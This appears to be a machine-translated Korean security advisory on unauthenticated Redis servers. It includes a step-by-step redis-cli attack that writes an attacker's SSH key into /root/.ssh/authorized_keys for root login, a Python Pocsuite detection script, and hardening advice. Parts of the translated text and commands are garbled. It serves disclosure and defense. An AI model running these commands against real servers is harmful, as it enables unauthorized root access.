Redis 권한 이 없 는 접근 과 SSH key 파일 이용 에 대한 자세 한 설명
6998 단어 redis인증 되 지 않 음ssh
Redis 는 ANSI C 언어 를 사용 하여 네트워크 를 작성 하고 지원 하 며 메모리 기반 으로 지속 가능 한 로그 형,Key-Value 데이터 베 이 스 를 사용 하여 다양한 언어 를 제공 하 는 API 입 니 다.
Redis 가 접근 권한 을 부여 하지 않 은 문 제 는 계속 존재 하 는 문제 입 니 다.창 우 안전 연구 팀 이 역사상 관련 응급 처 치 를 한 적 이 있다 는 것 을 알 고 있 습 니 다.오늘 은 Redis 가 접근 권한 을 부여 하지 않 고 SSH key 파일 에 협조 하 는 상황 이 발생 하여 대량의 Redis 서버 가 해 킹 되 었 습 니 다.오늘 은 간략하게 분석 해 보 겠 습 니 다.
구멍 개술
Redis 는 기본적으로 0.0.0.0:6379 에 연결 되 어 있 습 니 다.그러면 Redis 서 비 스 를 공공 네트워크 에 노출 시 킬 것 입 니 다.인증 이 켜 지지 않 은 상태 에서 임의의 사용자 가 대상 서버 에 접근 할 수 있 는 상황 에서 Redis 에 접근 할 수 있 는 권한 이 부여 되 지 않 고 Redis 의 데 이 터 를 읽 을 수 있 습 니 다.공격 자 는 Redis 에 접근 할 수 있 는 권한 이 부여 되 지 않 은 상태 에서 Redis 와 관련 된 방법 을 이용 하여 Redis 서버 에 공개 키 를 성공 적 으로 기록 하여 해당 하 는 비밀 키 를 사용 하여 대상 서버 에 직접 로그 인 할 수 있 습 니 다.
1.구멍 설명
레 디 스 보안 모델 은"레 디 스 를 공개 네트워크 에 노출 시 키 지 마 세 요.신뢰 받 지 못 하 는 고객 이 레 디 스 를 접 하 게 하 는 것 은 매우 위험 하기 때 문 입 니 다"라 는 관념 이다.
레 디 스 작가 가 권한 이 부여 되 지 않 은 방문 으로 인 한 불안정 성 을 해결 하 는 것 을 포기 한 이 유 는 99.99%가 레 디 스 를 사용 하 는 장면 은 모두 샌 드 박스 화 된 환경 에서 0.01%의 가능성 을 위해 안전 규칙 을 증가 하 는 동시에 복잡성 도 증가 했다.비록 이 문 제 는 해결 할 수 없 는 것 이 아니 지만 이것 은 그의 디자인 철학 에서 여전히 수지 가 맞지 않 기 때문이다.
다른 신뢰 받 는 사용자 가 Redis 를 사용 해 야 하거나 운영 자의 부주의 등 으로 인해 일부 Redis 는 0.0.0.0:6379 에 연결 되 어 있 고 인증(이것 은 Redis 의 기본 설정)이 켜 지지 않 았 기 때문에 관련 전략 을 사용 하지 않 았 다 면 방화벽 규칙 을 추가 하여 다른 불 신 소스 ip 접근 을 피 하 는 등이 로 인해 Redis 서 비 스 는 공공 네트워크 에 직접 노출 되 고 다른 사용자 가 권한 이 없 는 상황 에서 Redis 서 비 스 를 직접 방문 하여 관련 작업 을 할 수 있 게 된다.
Redis 자체 가 제공 하 는 config 명령 을 이용 하여 파일 쓰기 작업 을 할 수 있 습 니 다.공격 자 는 자신의 공개 키 를 대상 서버 의/root/.ssh 폴 더 의 authorized 에 성공 적 으로 기록 할 수 있 습 니 다.keys 파일 에서 해당 하 는 비밀 키 를 직접 사용 하여 대상 서버 에 로그 인 할 수 있 습 니 다.
2.구멍 영향
Redis 는 공공 네트워크(즉 0.0.0.0:6379 에 연결 되 어 있 고 목표 IP 공공 네트워크 에 접근 할 수 있 음)에 노출 되 었 으 며 관련 인증 과 관련 안전 전략 을 추가 하지 않 은 상황 에서 영향 을 받 아 이용 되 었 다.
줌 아이 검색 을 통 해 공 망 에서 직접 접근 할 수 있 는 레 디 스 서비스 가 9 만 7 천 707 개 있 는 것 으로 나 타 났 다.
ZoomEye 의 탐지 에 따 르 면 전 세계 에서 검증 되 지 않 고 Redis 를 직접 이용 할 수 있 는 분포 상황 은 다음 과 같다.
전 세계 에서 검증 없 이 Redis TOP 10 국가 와 지역 을 직접 이용 할 수 있 습 니 다.
3.구멍 분석 과 이용
우선 로 컬 에서 공개 키 파일 을 생산 합 니 다.
$ssh-keygen Ct rsa
그리고 공개 키 를 foo.txt 파일 에 기록 합 니 다.
$ (echo -e "
"; cat id_rsa.pub; echo -e "
") > foo.txt
다시 연결 Redis 기록 파일
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK
이렇게 하면 자신의 공개 키 를/root/.ssh 폴 더 의 authorized 에 성공 적 으로 기록 할 수 있 습 니 다.keys 파일 에서 공격 자가 직접 실행:
$ ssh Ci id_rsa [email protected]
원 격 으로 자신의 비밀 키 를 이용 하여 서버 에 로그 인 할 수 있 습 니 다.물론 기 록 된 디 렉 터 리 는/root/.ssh 의 authorized 에 국한 되 지 않 습 니 다.keys,사용자 디 렉 터 리 에 도 쓸 수 있 지만 Redis 는 루트 권한 으로 많이 실행 되 기 때문에 루트 디 렉 터 리 에 기록 하면 사용자 의 단 계 를 건 너 뛸 수 있 습 니 다.
4.Redis 가 권한 을 부여 하지 않 은 기타 위해 와 이용
a)데이터베이스 데이터 유출
레 디 스 는 데이터베이스 로 서 다양한 데 이 터 를 저장 하고 있 으 며,접근 권한 이 부여 되 지 않 은 경우 저 장 된 사용자 정보 등 이 포 함 된 데이터 유출 로 이 어 질 수 있다.
b)코드 실행
Redis 는 Lua 스 크 립 트 를 끼 워 넣 을 수 있 는 특성 으로 인해 코드 가 실 행 될 수 있 으 며,다른 서버 의 코드 와 의 실행 에 해 를 끼 칠 수 있 습 니 다.샘플 은 다음 과 같 습 니 다. 공격 자가 서버 에서 임의의 코드 를 실행 할 수 있 으 면 공격 방식 이 많아 지고 복잡 해 지 는 것 은 매우 위험 하 다.
Lua 코드 공격 자 를 통 해 redis.sha1hex()함 수 를 호출 하여 Redis 서버 를 악 용 하여 SHA-1 해 제 를 진행 할 수 있 습 니 다.
c)민감 한 정보 유출
레 디 스 의 INFO 명령 을 통 해 서버 관련 매개 변수 와 민감 한 정 보 를 확인 할 수 있 고,공격 자의 후속 침 투 를 뒷받침 한다.
현재 Redis 버 전,메모리 실행 상태,서버 개수 등 민감 한 정보 가 많이 유출 된 Redis 서버 를 볼 수 있 습 니 다.
5.구멍 검증
Pocsuite 사용 가능(http://github.com/knownsec/pocsuite)다음 코드 를 실행 하면 대상 주소 에 권한 이 부여 되 지 않 은 Redis 서비스 가 있 는 지 테스트 하 는 데 사용 할 수 있 습 니 다.
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import socket
import urlparse
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
class TestPOC(POCBase):
vulID = '89339'
version = '1'
author = ['Anonymous']
vulDate = '2015-10-26'
createDate = '2015-10-26'
updateDate = '2015-10-26'
references = ['http://sebug.net/vuldb/ssvid-89339']
name = 'Redis PoC'
appPowerLink = 'http://redis.io/'
appName = 'Redis'
appVersion = 'All'
vulType = 'Unauthorized access'
desc = '''
redis , , 。
'''
samples = ['']
def _verify(self):
result = {}
payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
s = socket.socket()
socket.setdefaulttimeout(10)
try:
host = urlparse.urlparse(self.url).netloc
port = 6379
s.connect((host, port))
s.send(payload)
recvdata = s.recv(1024)
if recvdata and 'redis_version' in recvdata:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['Port'] = port
except:
pass
s.close()
return self.parse_attack(result)
def _attack(self):
return self._verify()
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
register(TestPOC)
2.안전 건의bind 옵션 을 설정 합 니 다.Redis 서버 에 연결 할 수 있 는 IP 를 제한 하고 Redis 의 기본 포트 6379 를 수정 합 니 다.
인증 설정,즉 AUTH 입 니 다.비밀 번 호 를 설정 하면 비밀 번 호 는 Redis 설정 파일 에 명문 으로 저 장 됩 니 다.
rename-command 설정 항목"RENAMECONFIG",권한 이 부여 되 지 않 은 접근 이 있 더 라 도 공격 자 에 게 config 명령 을 사용 하여 난이 도 를 높 일 수 있 습 니 다.
좋 은 소식 은 Redis 작성 자가'real user'를 개발 하 겠 다 고 밝 혔 습 니 다.일반 사용자 와 admin 권한 을 구분 하면 일반 사용 자 는 config 와 같은 명령 을 실행 하지 못 하 게 됩 니 다.
총결산
이상 은 이 글 의 전체 내용 입 니 다.본 논문 의 내용 이 여러분 의 학습 이나 업무 에 어느 정도 참고 학습 가치 가 있 기 를 바 랍 니 다.궁금 한 점 이 있 으 시 면 댓 글 을 남 겨 주 셔 서 저희 에 대한 지지 에 감 사 드 립 니 다.
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
Redis 해시에 대한 완벽한 가이드변경 가능하므로 필요에 따라 쉽게 변경하고 업데이트할 수 있습니다. Redis 해시는 구조가 평평하므로 JSON에서와 같이 여러 수준을 가질 수 없습니다. redis 해시의 명명 규칙은 hash:key 로 입력되므로...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.